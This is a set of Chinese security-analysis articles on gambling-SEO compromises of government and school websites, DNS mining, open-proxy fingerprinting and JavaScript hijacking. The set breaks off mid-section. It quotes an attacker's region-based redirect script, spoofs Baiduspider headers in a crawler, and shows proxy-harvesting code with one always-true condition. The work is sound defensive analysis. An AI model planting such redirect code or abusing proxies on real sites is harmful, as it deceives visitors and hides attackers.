近日,“云悉”互联网安全监测平台监测到大量企事业单位及高中专院校大量出现博彩类信息,大量网站其页面被植入博彩信息,详细如下:

监测网站被植入博彩情况

监测网站被植入博彩链接情况

网站首页出现博彩信息网站首页出现博彩信息网站首页出现博彩信息

网站首页出现博彩信息

2. 入侵分析

2.1 分析思路

对这些被植入博彩信息的网站进行分析,发现其被入博彩信息内容基本一致,怀疑为同一黑客团伙所为,既然同一波黑客,其肯定为利用相同漏洞批量进行操作。对这些网站指纹进行分析,发现其指纹基本上都有某网站管理系统。

被黑网站指纹情况被黑网站指纹情况被黑网站指纹情况

被黑网站指纹情况

既然这些被黑网站大多使用某网站管理系统,其作为IDC,其服务器下部署大量的网站,其都有可能被入侵植入相关博彩信息,这样可以批量分析被植入博彩的网站并关联其可能的入侵利用漏洞,其思路如下:

1. 分析这些网站的对应IP

2. 利用IP反查IP对应的域名

3. 批量验证这些域名是否被入侵

4. 分析被入侵网站的指纹,初步判断黑客可能利用的漏洞

5. 结合攻击日志来进行攻击溯源:佐证黑客入侵的利用漏洞、入侵IP、时间等

6. 批量分析使用该指纹的其他网站是否也发生被入侵的事件

2.2 关联分析IP

发现这些网站解析到三个IP地址:61.191.49.157,61.191.50.98,61.191.50.109。

网站被解析到61.191.49.157

网站被解析到61.191.49.157

网站被解析到61.191.50.98

网站被解析到61.191.50.98

网站被解析到61.191.50.98

网站被解析到61.191.50.109

通过“云悉”互联网安全监测平台监测到被黑的网站,目前分析到以下三个IP反查IP对应域名:

三个IP反查IP对应域名

对这些IP反查相应的域名,使用360netlab和riskiq的PassiveDNS数据目前共查询到近3000个域名在这三个IP上。

360 netlab的PassiveDNS数据

360 netlab的PassiveDNS数据

riskiq的PassiveDNS数据

riskiq的PassiveDNS数据

但是分析了一下,有很多是历史的,目前已过期,因此需要重新验证一下这些域名对应的IP是否为这三个IP,使用Python的dns.resolver库解析其DNS结果并验证后,一共发现有2180个域名在这三个IP上。

2.3 批量分析被植入博彩网站

查询到相应的域名以后,发现前期被植入博彩的特征比较明显,其博彩内容都是放在网站的title中,直接写个python程序批量爬取网站源代码,分析其源码的title内容,核心代码如下:

批量验证网站是否被植入博彩内容

批量验证网站是否被植入博彩内容

批量验证后,目前共发现293个网站被植入博彩信息,相关网站以及被植入网站的部分情况如下图所示:

部分被植入博彩网站情况

部分被植入博彩网站情况

2.4 指纹分析

对这些被植入博彩内容的网站批量分析其网站指纹,以初步判断可能的入侵利用漏洞。在这里,利用“云悉”指纹批量查询,返回结果如下所示:

部分网站指纹情况

部分网站指纹情况

对这些指纹进行深入分析,得到如下数据:

被黑网站的指纹数据情况

被黑网站的指纹数据情况

一个很明显的指纹,这些被入侵的大多安装了iis、iQuery、ASP、某IDCIBW网站管理系统等。但是考虑到如果利用iis和asp的漏洞可能入侵的就不仅仅是某IDCIDC一家,目前“云悉”互联网安全监测平台监测全省大量的IDC网站,最近只监测到某IDC下面的网站存在被植入博彩的情况。

目前发现被黑的293个网站中有 234个使用该IDC的网站管理系统,使用该网站管理系统比较达80%,因此初步怀疑为该IDC的网站管理系统漏洞被黑客利用导致批量入侵。后续需要该IDC进行协助分析与验证。

个人观点

该分析的结论虽然很简单,就是某IDC的网站管理系统存在漏洞被黑产团伙利用批量入侵网站并植入博彩SEO内容。但是里面个人感觉利用基础数据,如PassiveDNS、网站指纹等基础数据进行数据分析挺有意思,这样可以把一些很抽象杂乱的事件关联到一起进行分析,抽离层层表象分析到事件的深层关联。并且这种行为可以互联网化,而基本不需要用户来进行配合,减小事件分析的成本。

在这里,个人一直认为基础数据(如dns,子域名、whois、ip属性、网站指纹、ssl证书hash等)的作用越来越重要,有了大量的基础数据作为数据支撑才可以看得清、看得见事物的内在关联与本质。很多看似复杂的表项通过基础数据可以分析到其内在的原因。

参考

1.http://www.yunsee.cn

2.https://www.passivedns.cn

3.https://www.riskiq.com

4.https://www.programcreek.com/python/example/82642/dns.resolver

*本文作者:feiniao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文作者:feiniao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

1. 分析背景

1.1   情况

此文是基于一次安全事件所引发的思考,在应急后进行的安全分析与挖掘。分析的数据基于DNS数据,这也是本人的一次尝试,各位大佬有好的思路或方法欢迎及时补充。

具体情况为大量政府及高校网站出现博彩类信息,很多网站首页打开会跳转到博彩站点,详细如下:

基于DNS的数据挖掘与分析

图-网站首页出现博彩信息

随意点击页面任意按钮,会跳转到博彩站点,具体如下:

基于DNS的数据挖掘与分析

图-点击相关功能按钮会跳转到博彩内容

1.2   分析验证

对其进行分析,发现这些打开跳转到博彩页面都是因为其DNS解析被恶意修改,解析到107.151.129.28这个国外IP上。

基于DNS的数据挖掘与分析

图-政府网站被解析到恶意IP

基于DNS的数据挖掘与分析

图-高校网站被解析到恶意IP

基于DNS的数据挖掘与分析

图-解析IP地理位置

对107.151.129.28这个IP进行关联分析,目前已发现大量政府、高校、财经类网站被恶意解析到107.151.129.28这个IP上,详细域名大家自行搜索,不方便贴图。这些政府、高校、财经类网站DNS都被恶意修改到该IP上。

1.3   深入分析

既然此次事件是因为域名被恶意解析导致的,DNS又是现代网络的基础,如果基础网络出现问题,那么上层应用根本没有安全可言。因此我们可以对重要的网站进行DNS层面深度分析,通过DNS层面挖掘其安全问题。具体思路如下:

1.     收集域名信息(本次收集以政府和高校为主)

2.     对域名进行批量查询其 A记录、CNAME与泛解析

3.     分析域名是否采用了CDN、云防护之类设备

4.     数据分析

a)       IP下同一域名信息:这个实现原理为分析域名DNS解析后是否对应同一IP。一方面可以用来分析同一IP下有哪些网站;另一方面若该IP为恶意IP,通过IP上对应的域名了解哪些网站的域名被恶意解析。

b)       哪些域名使用CDN、云防护之类产品或服务

c)       IP的地理位置分析。政府类域名解析后一般其IP地理位置都为其域名所有者所属地市,若发现存在非当地城市,进行提取并分析;即使采用了CDN、云防护之类的产品,DNS解析后的IP地理位置应该也在国内,一般不会解析到国外的IP。若解析到国外,提取并分析。

d)       结合IP威胁情报分析:把解析后的IP地址全部查询一下其IP威胁情况,对恶意的IP上的域名进行提取并统计同一IP下的域名。

e)       入侵目的分析:基于目的驱动的原则,黑客既然入侵,肯定会有所目的与动作。因此对恶意IP及同一IP下的域名提取并分析,以分析黑客入侵目的。

f)        若恶意的IP上有黑客注册的网站,可提取网站备案的邮箱、QQ及域名相关的日志,尝试关联黑客身份信息。

2. 数据处理

2.1   获取域名数据

域名收集这块大家自行想办法,这个是最基本的前提。数据量越大,后面的分析越有意义。可以以行业(政府、高校、企业等)进行分类获取,建议按照行业分类。下面是此次分析的域名数据,主要以政府类网站为主。粗略统计本次分析所用域名数据共4898条:其中政府类网站3249个、高校网站104个、其他网站1545个。

2.2   DNS解析

解析出上述域名的A记录、CNAME以及泛解析结果。

泛解析是DNS需要重点分析的点,曾经多次遇到黑客修改DNS泛解析进行SEO推广的案例。测试泛解析很容易,在正常域名前加下随机的子域名,为了随机,可以加个MD5值,d663778705dbadf091a5e7694d584908这种。本次测试时使用sanshibuying.+host这种形式。相关实现的代码如下所示:

#coding:utf-8

from dns.resolver import *
import re

hostlist = open('./host.txt','r')

for host in hostlist:
	try:
		host = host.split('\n')[0]
		if 'gov.cn' in host:
			attr = 'gov'
		elif 'edu' in host:
			attr = 'edu'
		else:
			attr = 'oth'
		#查询A记录、CNAME记录
		#ID 0:CNAME  1:A记录  2:泛解析

		a = query(host)
		for dns in a.response.answer:
			if 'CNAME' in str(dns):
				id = 0
			elif 'A' in str(dns):
				id = 1
			for dns in dns.items:
				f = open('./DNS解析结果.txt','a')
				print(host.ljust(40),(str(dns)).ljust(40),attr.ljust(5),id,file=f)
		
		#泛解析查询
		host = 'sanshibuying.' + host
		b = query(host)
		for dns in b.response.answer:
			for dns in dns.items:
				pass
			id = 2
			f = open('./DNS解析结果.txt','a')
			print(host.ljust(40),(str(dns)).ljust(40),attr.ljust(5),id,file=f)
	except Exception as e:
		pass

代码-DNS解析

解析后提取的数据如下所示:

基于DNS的数据挖掘与分析

图-DNS解析数据

2.3   查询地理位置

解析IP地址对应的地理位置,为后期数据分析提供基础数据。这里实现的方法为调用开源的IP地理位置库GeoLiteCity。具体实现代码如下:

#coding:utf-8

import pygeoip

gi = pygeoip.GeoIP('GeoLiteCity.dat')

def printRecord(ip):
    try:
        rec = gi.record_by_name(ip)
        city = rec['city']
        region = rec['region_code']
        country = rec['country_name']
        long = rec['longitude']
        lat = rec['latitude']
    except Exception as e:
        pass

    try:
        f = open('IP地理位置.txt','a')
        print(ip.ljust(20),city.ljust(20),country.ljust(10),file=f)
    except Exception as e:
        pass

if __name__ == '__main__':
    IPFile = open('ip.txt')
    for ip in IPFile.readlines():
        ip = ip.strip('\n')
        printRecord(ip)

代码-查询IP地理位置

解析后相应的数据及格式如下所示:

基于DNS的数据挖掘与分析

图-IP地理位置信息

2.4   数据入库

将解析后的数据(DNS相关数据及IP地理位置数据)全部存入数据库,另外为了方便了解网站的名称,同时将网站的title也一并爬取下来了,这里面爬取的时候使用了一个小技巧:

“x-forwarded-for”:”123.125.66.120″,

“referer”:”https://www.baidu.com“,

“user-agent”:”Baiduspider/2.0+http://www.baidu.com/search/spider.html

这样设置可以发现可能被黑客入侵并做SEO推广的相关信息。

#coding:utf-8
from requests import *
import re


headers = { "accept":"text/html,application/xhtml+xml,application/xml;",
            "accept-encoding":"gzip",
            "x-forwarded-for":"123.125.66.120",
            "accept-language":"zh-cn,zh;q=0.8",
            "referer":"https://www.baidu.com",
            "connection":"keep-alive",
            "user-agent":"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
            }
def main():
    urllist = open('fanjiexiurl.txt','r')
    for url in urllist:
        try:
            url = url.split('\n')[0]
            url = 'http://' + url
            html = get(url,timeout=3,headers=headers)
            html.encoding = html.apparent_encoding
            name = re.search("<title>.*</title>", html.text)
            name = name.group()
            name = (name.split('<title>')[1]).split('</title>')[0]
            f = open("./泛解析网站名称.txt", 'a')
            print (url.ljust(40),name.ljust(30),file=f)
         
        except Exception as e:
            print(e)
            pass

if __name__ == '__main__':
	main()

代码-查询域名的title

将DNS数据、Title数据及IP地理位置数据整合后存入数据库,相关数据如下:

基于DNS的数据挖掘与分析

图-DNS数据库

3. 数据分析

3.1   IP次数分析

对DNS解析后的IP进行排序,把相同的IP提取并统计其次数。相同的IP说明这些网站都是在同一个物理位置,一般情况下同一IP下出现较多域名的话这个IP基本上为IDC。统计后IP出现次数最多的前20个IP如下:

基于DNS的数据挖掘与分析

图-出现次数最多前20IP

这些IP基本上为IDC类的IP,选择其中一个IP统计其主机相关信息如下所示:

基于DNS的数据挖掘与分析

图-查询单一IP下的域名

相同IP下有多个网站的数据在实际工作中的意义为可以用来了解同一个IP下有哪些网站。如果同一IP下面的一个网站被黑客植入网马,其他网站同样存在安全威胁,在这种情况下可以进行预警通报。

另外,不同的政府单位都跑在一个IP上,这也间接说明这些IP为类似IDC的IP。因此,可以通过IP上网站数量来分析IP所属的行业(IDC这种)。

3.2   云防护、CDN分析

分析一下哪些网站使用了云防护、CDN之类的云产品。统计如下:

基于DNS的数据挖掘与分析

图-CDN、云防护情况

可以看出一共有738个网站具有CNAME属性,其中部分网站开启了CDN、云防护之类的云服务,需要从中提取出哪些网站开启了云防护、CDN以及使用哪些厂商的云服务。方法为分析其CNAME中是否有相关厂商的域名信息,一般情况下,CDN、云防护厂商其CNAME命名规则为XXXX.厂商域名,如:010a74abb997d761.cname.365cyd.cn.这种,提取其主域名365cyd.cn,可以看到其为知道创宇的创宇盾。

基于DNS的数据挖掘与分析

图-查询ICP备案信息

根据此种方法,从CNAME中提取使用CDN、云防护的代码如下:

基于DNS的数据挖掘与分析

最终统计使用了CDN、云防护的网站数量、网站名如下:

基于DNS的数据挖掘与分析

图-云防护、CDN厂商占有情况

基于DNS的数据挖掘与分析

图-云防护、CDN厂商占有情况

最终,存入数据库,最终库表结构及相关内容如下所示:

基于DNS的数据挖掘与分析

图-DNS库

CDN与云防护在DNS这块及实际工作中的作用为:

1.       分析用户是否使用CDN、云防护

2.       相关CDN、云防护厂商的占用率及用户分布

3.       了解CDN、云防护厂商的IP地理位置分布

4.       为DNS恶意解析判断提供基础数据

3.3   泛解析分析

泛解析指的是在域名解析时设置一下默认解析的配置,当前面所有的解析都解析不成功后,默认后返回一个解析地址。

基于DNS的数据挖掘与分析

图-没有开启泛解析

基于DNS的数据挖掘与分析

图-开启泛解析

根据相关数据分析,分析出148个网站开启了泛解析,相关数据如下:

基于DNS的数据挖掘与分析

图-开启泛解析网站

在开启泛解析的情况下,正常解析和泛解析之后的IP地址应该是一致或者在相同网段的,如果开启泛解析后的地址与正常解析的地址相差较大,则DNS这块可能被恶意修改,需要进行重点分析。

通过分析开启泛解析且其解析后与正常解析不一致的情况,统计出如下所示:

基于DNS的数据挖掘与分析

图-开启泛解析且解析后与正常解析不一致

虽然很多开了泛解析,但是其泛解析后的地理位置与主站地理位置一样,因此优化了一下。对其泛解析后地理位置与主站地理位置不一致的进行分析,统计如下:

基于DNS的数据挖掘与分析

图-泛解析后地理位置与主站地理位置不一致

过滤出正常解析或泛解析地址为非国内的,如下所示:

基于DNS的数据挖掘与分析

图-解析后地理位置非国内

上面这些网站泛解析后其地址都解析到国外,都是高度可疑的。需要提取出来进行深度分析。

基于DNS的数据挖掘与分析

基于DNS的数据挖掘与分析

图-解析后其IP为国外

3.4   IP地理位置分析

上面已经分析了在开启泛解析的情况下,泛解析与正常解析后地址非国内的相关域名,另外还需要分析正常解析情况下解析后的IP地址位置非国内的。分析正常解析后IP位置的原因是如果主站都被恶意解析了并且没有开启泛解析的情况下上面是分析不到的,这两个数据最后需要进行去重。

从数据库中提取相关数据,这里面仅提取政府网站IP地理位置非国内的,提取后相关数据如下:

基于DNS的数据挖掘与分析

图-政府主站解析后IP地理位置非国内

3.5   网站Title分析

通过上面的网站Title已经看出很多网站存在博彩类信息,需要把相关含有博彩类信息的网站Title,IP地址、IP地理位置全部提取出来。

基于DNS的数据挖掘与分析

图-博彩类网站

提取后的Title关键词数据如下:

基于DNS的数据挖掘与分析

图-博彩类网站

       根据上述提取出IP,根据IP统计相关网站,这里面就是前面介绍的统计同一个IP下面的网站功能:

基于DNS的数据挖掘与分析

图-博彩类网站

由于本次使用的网站数量相对较少,相关的数据也比较少。因此可以使用云悉资产的数据。统计后相关数据如下:

基于DNS的数据挖掘与分析

图-同一IP下的博彩网站

后期可以分析黑客是如何入侵该网站的,如果是网站被入侵的话,那么在同一台服务器下的网站都会存在安全风险。在实战过程中可以提取出相关网站进行针对性预警通报。

3.6   安全分析

3.6.1  DNS解析安全分析

前面已经统计出相关的一些信息,如title中为博彩类网站、解析后IP为国外IP。其都是零散的,在这里作个统一的汇总分析,并统计出其中可能存在的安全问题:

基于DNS的数据挖掘与分析

图-DNS解析后IP非国内安全情况

3.6.2  同一IP安全分析

通过DNS与泛解析这一块已经发现很多被解析到恶意的IP,这些IP一般都是相关黑客的IP。黑客一般会入侵并篡改的DNS解析到同一个IP,这种为我们分析哪些网站被入侵也提供了一个很好的思路。通过IP反查该IP上的所有域名,收集所有域名然后查找域名的备案信息。

在针对政府网站分析时,我们可以提取出IP上所有的政府网站,在黑客IP上跑的所有政府网站基本上都是被黑客恶意解析的。这样为我们分析哪些网站被入侵也提供了很好的思路。

在针对107.151.129.28这个黑客IP进行分析,统计出下面网站被解析到这个IP。基本上断定这些域名的解析被恶意修改,这样后续应急也比较简单,通过其域名管理系统后台取日志进行分析。

基于DNS的数据挖掘与分析

基于DNS的数据挖掘与分析

图-107.151.129.28下被恶意解析的网站

3.7   后续分析思路

前面分析的IP是否正常单纯是根据解析后的IP所在地以及网站title,这个分析逻辑相对简单。跳过DNS这个思路,站在IP情况的角度,可以解析后的IP结合威胁情报进行分析,若发现IP存在安全威胁,可以把该IP层上的所有域名统计出来,再进行安全分析。

另外,一般情况下,黑客都会在其服务器上开设网站,可以尝试通过网站的备案、网站上的邮箱、QQ、手机号等相关信息来关联黑客身份。前期使用这种方法定位过一个做博彩的灰产人员,且灰产人员通过入侵政府网站进行SEO推广。

4. 数据的价值

目前IT已进入DT时代,在DT为王的时候,数据的价值远远超过方法、理念甚至产品的价值。而DNS是DT中的基础网络数据,其价值至关重要。以后IT领域的竞争会越来越集中到数据领域的竞争。

这篇文章前后花了五六个晚上完成,希望给大家在分析基础数据时提供一些参考。DNS数据的价值远远超过目前个人所分析的,目前个人所分析的仅为DNS解析这块,另外DNS里面的DGA、非DNS通信数据等也有比较好的挖掘点,大家有好的想法与思路可以一起讨论。

*本文作者:feiniao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文作者:feiniao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

基于代理IP的挖掘与分析

废话不多说,直入主题。关于代理IP的挖掘与分析,个人的一些分析与总结。

1. 思路

1、获取代理地址

2、对获取的代理地址进行验证,提取出真实可用的代理地址

3、代理指纹的提取与自动化挖掘代理

4、根据IP的相关信息进行排序:存活时间。存活时间较长的IP一般为固定的IP

5、数据分析与利用

 a. 代理IP的各种作用:爬虫、隐藏真实IP、代理上外网、薅羊毛

 b. 情报:IP威胁情报及IP信誉分析

 c. 通过真实可用的IP提取分析代理IP的指纹信息,可作为代理IP分析的指纹特征。并且在具体工作中可以落地进行代理IP的查找与分析。

 d. 判断改IP的所有者(政府企事业单位、个人用户、IDC等)与存活时间;若为政府企事业单位用户基本上说明该IP被黑客控制时间越长被控制的越久。获取与整理这些IP,可以进行通报预警与应急响应。

 e. 周期性探测,对短时间内出现大量的IP进行资产指纹分析,提取共性,可以用于预警通报

2. 数据爬取与指纹提取

2.1  获取代理IP

代理IP的获取可以先利用网上开放的代理IP平台,这里面个人推荐两个:

http://www.xicidaili.com、http://cn-proxy.com(需要梯子)

下面以xicidaili.com为例进行分析。该代理网站的代理类型一共分为四类:国内高匿代理、国内普通代理、国内HTTPS代理、国内HTTP代理。

基于代理IP的挖掘与分析

下面以国内HTTPS代理为例来爬取网站上的代理IP信息,核心实现python代码如下(Python新手,大牛轻喷):

#coding:utf-8

from requests import *
import re

headers = { "accept":"text/html,application/xhtml+xml,application/xml;",
            "accept-encoding":"gzip",
            "accept-language":"zh-cn,zh;q=0.8",
            "referer":"Mozilla/5.0(compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
            "connection":"keep-alive",
            "user-agent":"mozilla/5.0(windows NT 6.1;wow64) applewebkit/537.36 (khtml,like gecko)chrome/42.0.2311.90 safari/537.36"
            }

for i in range(1,835):
	url = 'http://www.xicidaili.com'
	url = url + '/wn/'
	url = url + str(i)
	html = get(url,timeout=3,headers=headers)
	html.encoding = html.apparent_encoding
	proxyip = r'(<td>.*</td>)'
	iplist = re.findall(proxyip,html.text)
	i = 1
	for ip in iplist:
		ip = (ip.split('<td>')[1]).split('</td>')[0]
		f =  open('./ip.txt','a')
		print(ip,file=f)
		if i%5==0:
			print('\n',file=f)
		i = i + 1

  获取到的代理IP格式经处理后如下所示:

基于代理IP的挖掘与分析

可以看出爬取出来的代理IP的格式为:IP、端口、代表类型、存活天数、发现日期及时间。下面将这些信息存入到数据库中,以方便检索与查找。这里面个人选择mysql数据库,将相关的数据导入到mysql中,共29700条https代理,如下所示:

基于代理IP的挖掘与分析

2.2  验证可用的代理

验证代理是否可用的方法比较多,在批量验证时可以使用python来实现,这里面验证代理是否可用的方法为直接使用代理访问ipip.net,若返回状态为200,则说明代理可用。反之,则说明不可用。     

基于代理IP的挖掘与分析 

验证基于前面已经采集的HTTPS代理:

提取出HTTPS代理的IP、端口,保存到本地的测试文件中。测试文件格式如下:

基于代理IP的挖掘与分析

 验证代理是否可用的python代码如下:

#coding:utf-8

from requests import *
import re

for proxy in open("https.txt"):
	proxy = proxy.replace('\n','')
	proxies={"https":proxy}
	headers = {
		"Host": "www.ipip.net",
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
		"Accept": "*/*",
		"Accept-Language": "en-US,en;q=0.5",
		"Accept-Encoding": "gzip, deflate",
		"Referer": "https://www.ipip.net/"
		}
		
	url = 'https://www.ipip.net'
	try:
		html = get(url,timeout=10,headers=headers,proxies=proxies)
		if html.status_code == 200:
			proxy = proxy.split('https://')[1]
		f =  open('./proxyip.txt','a')
		print(proxy,file=f)
	except Exception as e:
		print(e)
		pass

提取出验证成功的代理IP地址和端口号,如下所示:

基于代理IP的挖掘与分析

选择验证成功的进行测试,成功正常使用。

基于代理IP的挖掘与分析基于代理IP的挖掘与分析

2.3  代理指纹提取

既然网上这么多多的代理IP,这些代理IP和端口绝大多数是批量扫描得到的,因此,如果掌握了这些代理的指纹信息,就可以批量扫描代理的IP和端口了。选择其中部分代理的IP进行分析,通过nmap与抓包形式分析其指纹数据。这里随意选择一个代理IP地址:58.252.6.165,其代理端口为9000。对其进行数据分析,通过nmap探测到其9000端口对应的服务为MikroTik http proxy,这些数据应该可以作为代理的指纹。

基于代理IP的挖掘与分析

基于Nmap扫描而来的代理指纹

基于代理IP的挖掘与分析

基于HTTP响应提取的代理指纹

指纹提取思路:

本人的思路是直接提取HTTP响应头部信息,得到的是这样的:

基于代理IP的挖掘与分析

看了一下,数据量有点大,一般情况下web服务类型是通过HTTP响应头部的server字段来返回的,因此代码优化了一下,直接提取出server字段,代码如下:

#coding:utf-8

from requests import *

headers = {
	"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
	"Accept": "*/*",
	"Accept-Language": "en-US,en;q=0.5",
	"Accept-Encoding": "gzip, deflate",
	}

for url in open("proxytest.txt"):
	url = url.split('\n')[0]
	try:
		html = get(url,timeout=3,headers=headers)
		html = html.headers['server']
	except Exception as e:
		pass
	f =  open('./proxyanalysis.txt','a')
	print(url,html,file=f)

爬取了一段时间,共采集到14000个左右的有效响应,得到如下数据:

基于代理IP的挖掘与分析

对数据进行提取、分析整理出如下代理的指纹信息(HTTP响应头部的server字段):

基于代理IP的挖掘与分析

上述代理指纹数据个人感觉有些不太适合,如Microsoft-IIS、PCSERVER、Apache。这些代理指纹可能需要结合其他指纹信息。

另外,在网上也找了一些代理服务器,有兴趣的同学可以收集一下以下代理服务器的指纹信息:

MicrosoftProxy,Microsoft ISA,WinProxy、WinGate、winRoute、SyGate、CCProxy、SuperProxy

2.4  指纹实战

既然基于Nmap和基于HTTP响应报文头部的MikrotikHttpProxy可以作为代理IP的指纹,那么我们来进行代理指纹的搜索实战。互联网上有很多比较不错的黑客搜索引擎,如shodan、fofa、zoomeye等。本文以Fofa使用为例子介绍如果通过搜索引擎找到代理的IP。

Fofa是白帽汇公司推出的一款基于网络爬虫而生成的黑客搜索引擎,上文已经收集整理了很多代理的指纹信息,通过fofa搜索代理IP,其搜索可以使用以下方法:

server:”MikrotikHttpProxy”,探测到44439条结果。

基于代理IP的挖掘与分析

基于fofa搜索的代理IP

搜索44439条结果,本来想全部爬取下来,奈何fofa的API需要会员,并且非会员只能看到前5页。所以只爬取第一页相关代理IP,爬取后数据如下:

基于代理IP的挖掘与分析

上面是使用Fofa搜索到的代理IP信息,有兴趣的同学可以自己使用代码来实现,下面使用部分代理指纹来搜索代理设备:

#coding:utf-8

from requests import *
import re

for url in open("urllist.txt"):
	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
		"Accept": "*/*",
		"Accept-Language": "en-US,en;q=0.5",
		"Accept-Encoding": "gzip, deflate",
		}

	html = get(url,headers=headers)

	if 'Mikrotik HttpProxy' or 'squid' or 'App-webs' or 'Tengine' or 'Proxy' in html.headers['Server']:
		url = url.split('/')[-1]
		print(url)

3. 数据分析与利用

3.1  端口号分布

通过对爬取的代理IP和端口来看,其代理端口出现频率较高的基本上相对比较固定,因此可以对这些代理端口进行分析。这样的话,后期基于Nmap或开发相应的自动探测产品可以有针对性的探测,不需要所有的端口都探测。当然也可以所有端口都探测,但是这样效率相对较低,好处就是漏报相对较少。大家在实战的时候根据自己的情况来选择。对29700个HTTPS的代理端口进行进行,除去频率低于100次的,其端口分布情况如下所示:

基于代理IP的挖掘与分析基于代理IP的挖掘与分析

代理端口分布情况

基于代理IP的挖掘与分析

在搜索代理IP时可以重点搜索以上出现频率比较高的端口。

3.2  数据分析

3.2.1  存活较长的IP

通过代理数据库可以发现里面有很多代理IP存活天数较长,比较长的有一年左右的,这种存活天数较长的IP一般都为固定的IP,因此需要过滤出这些IP和端口信息。

这里面我们把代理库中存活天数大于100天的过滤出来,过滤后存在881条。

select * from httpsproxy where LiveDayslike '%天' and LiveDays > 100 order by LiveDays desc;

基于代理IP的挖掘与分析

3.2.2  安全分析

这些代理都是存活100天以上的,这些IP基本上都是固定的IP,要么是公司、企业的,因此对这些IP分析,探测可能是政企单位用户。这里分析的思路是探测该IP上面是否有跑相应的网站,若存在网站的话再进行分析网站属性,若为政府企事业单位。若发现政府企事业单位有IP对外开放代理,一般情况政府企事业单位不会开放代理,这种情况基本上配置问题或者被恶意开放。因些需要提取出这些IP和所属用户情况。这些可以作为代理数据分析后的输出的安全情报。

云悉作为面向互联网开放的指纹与资产平台,其有相应的IP下开放的域名查询的功能。使用方法为http://yunsee_info.vuln.cn/?type=webip&url=ip,如查询1.2.3.4下有哪些域名,查询方法为:

http://yunsee_info.vuln.cn/?type=webip&url=1.2.3.4

返回的是json格式的数据,返回数据格式如下:

基于代理IP的挖掘与分析

这里面把开放代理超过100天的IP直接导入,使用python进行批量查询。

#coding:utf-8

from requests import *
import re


for ip in open('livedays.txt'):
	url = 'http://yunsee_info.vuln.cn/?type=webip&url='
	url = url + ip
	html = get(url)
	html = html.text
	if '404' not in html:
		f =  open('./ipipip.txt','a')
		print(ip,html,file=f)

查询后对其数据进行分析,得到以下数据:

基于代理IP的挖掘与分析

基于代理IP的挖掘与分析

以上这些IP都是在IP代理网站中爬取下来,并且经验证其上面都有网站跑在上面,并且有的还是政府的站点。并且其存活时间都是100天以上,有的还有3年之久的。选择其中一个比较有意思的代理站点分享一下:

基于代理IP的挖掘与分析基于代理IP的挖掘与分析

基于代理IP的挖掘与分析

代理以后,打开任何网站都会跳转到其网站上,这个应该是配置不合理导致的。

以上对代理IP的分析只是抛砖引玉,其实还有很多好的挖掘点,如这些代理IP的区域分布、IP上是否有业务以及业务组件的指纹信息、IP是否为路由器等。

3.3  IP情报

既然这些IP都是代理的IP,那么黑客或羊毛党也可以利用这些代理IP来进行攻击或薅羊毛,因此这些IP可以作为IP情报/信誉度之一。安全厂商或者情报厂商可以定期将爬取互联网上的代理IP,将其加入IP情报库,并定期的更新与维护。做安全对抗在单纯网络层防护肯定比应用层防护容易的多,因此代理IP/恶意IP在安全方面个人感觉意义重大。

4. 总结

4.1  我的安全观

IP是安全里面很小的分支、而代理IP又是IP里的分支。单纯恶意IP/代理IP可以作为安全里面的情报之一。未来安全的领域肯定分出现更多细分的领域,在某一个细分的领域精工细作也可以有很好的机遇与发展。

另外,安全是一个多维度、动态的。有的时候不一定非要使用太高大上的东西,真正接地气、可落地的方法与理念可能比高大上的东西更具有实战意义。能在网络层防护就不需要到传输层,能在传输层防护就不需要到应用层防护,能使用简单脚本实现的东西就不一定需要机器学习这些高大上的东西。

4.2  致敬freebuf及原创作者

Freebuf是一个比较开放的互联网安全平台,上面有很多比较好的原创作者。很多作者以前分享很多较好的议题,因为喷子无情,很多都没有更新了。在写原创文章的同时,我的综合能力也在不断的提升,回头看看那些喷子还在到处喷。所以,提升的是自己。希望大家也抱着开放、共享的精神,多多贡献优质的文章。

在这里,也祝大家2018新年快乐!

*本文作者:feiniao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文原创作者:feiniao,属于FreeBuf原创奖励计划,禁止转载。

1.  概述 

上段时间一直忙于处理大会安全保障与应急,借助公司云悉情报平台,发现并处置几十起网站被劫持的情况。对黑客SEO技术颇有感觉。正好这段时间有时间,把以前遇到比较有趣的案例和大家分享一下。里面很多技术其实早已被玩透,只是网上搜了一下并无太多这方面的介绍。所以在这里共享一下相关的案例,案例主要分享一下思路。

1.1 原理

网站劫持是一个相对古老的技术,主要是黑帽用来做SEO用。实现网站劫持如果以下步骤:

1.   入侵相关网站
2.   然后在网站中插入JS或修改其配置文件,增加相应的劫持代码。另外一般会加入判断条件,判断条件一般会根据user-agent或referer进行判断。大多数判断条件会判断是爬虫还是人工,如果是人工会返回正常的网站;如果是爬虫,会返回相关博彩、娱乐类等黑客设置好的网站
3.   人工访问时,会显示正常网站。但是爬虫去访问时,返回是相关博彩、娱乐类网站,导致收录的却是黑客精心准备好的网站
4.   黑帽SEO基本上都是给爬虫收录的,对于正常的人工访问会返回正常的内容,所以导致这种网站很难发现、并且其存留时间相对较长
1.2 跳转判断

下面通过在实际工作中遇到的JS脚本来阐述JS劫持来实现跳转的方法。该JS脚本综合运用了判断IP归属地、UA、referer来进行跳转判断。

1.2.1 判断IP归属地

判断远程IP的归属地,如果远程IP为安徽省或北京,则会直接跳转到http://www.anhui365.net/404.html这个页面;归属地不为安徽或北京的话则会跳转到博彩站点http://m.an888.top/

var jump_myt = setInterval(function(){
    if(remote_ip_info) {
       clearInterval(jump_myt);
       if(remote_ip_info.province == '安徽' ||remote_ip_info.province == '\u5b89\u5fbd'||remote_ip_info.city =='\u5317\u4eac'||remote_ip_info.city == '北京') {
           window.location.href= 'http://www.anhui365.net/404.html';
       }
       else{
          window.location= 'http://m.an888.top/'; 
       }
    }

1.2.2 判断referer

若referer关键字为:baidu、google、yahoo、bing、soso、360等搜索引擎爬虫,当爬虫去访问时会调用browserRedirect()函数。browserRedirect()函数主要用来实现跳转判断。
